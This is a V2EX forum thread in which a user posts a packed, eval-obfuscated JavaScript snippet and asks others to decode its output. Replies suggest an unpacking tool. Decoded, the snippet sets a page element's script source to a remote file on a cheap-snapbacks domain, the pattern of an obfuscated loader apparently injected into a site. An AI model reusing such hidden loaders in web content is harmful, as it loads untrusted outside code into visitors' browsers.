谁能帮忙看一下这段CODE输出应该是什么??

2013-07-23 04:49:20 +08:00
 SharkIng
<script language="javascript">
eval(function(p,a,c,k,e,d)
{
e=function(c){
return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){
while(c--)d[e(c)]=k[c]||e(c);
k=[function(e){return d[e]}];
e=function(){return'\\w+'};c=1;
};
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return
p;}('6 a=5.8(\'7\');a.2(\'1\',\'4://3.f.g/h/e/b/0/d-c-9.0\');',18,18,'js|src|setAttribute|www|http|document|var|ourjs|getElementById|fr||z_cap|lv||skin|cheapssnapdbacks|com|static'.split('|'),0,{}))
</script>
2969 次点击
所在节点    JavaScript
5 条回复
imzoke
2013-07-23 05:33:09 +08:00
http://gist.github.com/6057810

这是段加密过的代码,这种样式打头的一般都是加密过的,使用如 http://tool.lu/js/ 等类似工具可以基本解密(还原)代码。
SharkIng
2013-07-23 07:37:10 +08:00
@imzoke

所以解密之后类似这个样子,这种解密完全了么??

< script language = "javascript" > eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--) d[e(c)] = k[c] || e(c);
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1;
};
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return
p;
}('6 a=5.8(\'7\');a.2(\'1\',\'4://3.f.g/h/e/b/0/d-c-9.0\');', 18, 18, 'js|src|setAttribute|www|http|document|var|ourjs|getElementById|fr||z_cap|lv||skin|cheapssnapdbacks|com|static'.split('|'), 0, {})) < /script>
SharkIng
2013-07-23 07:39:58 +08:00
@imzoke 和原本代码没多大区别啊?
lichao
2013-07-23 08:20:21 +08:00
imzoke
2013-07-23 16:35:55 +08:00
@SharkIng 我的意思是你发的是加密的,我发的是那段代码解密后的。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/76654

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX